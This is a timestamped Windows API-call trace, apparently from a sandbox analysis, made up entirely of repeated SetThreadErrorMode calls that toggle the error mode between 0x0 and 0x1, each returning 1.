1 [0086.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0086.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0086.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0086.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0086.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0086.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0086.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0086.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0086.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0087.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0087.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0087.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0087.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0087.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0087.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0087.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0087.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0087.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0087.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0087.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0087.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0087.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0087.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0087.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0087.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0087.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0087.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0087.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0089.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0089.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0089.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0089.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0089.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0089.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0089.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0089.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0089.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0090.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0090.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0090.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0090.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0090.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0091.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0091.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0091.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0091.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 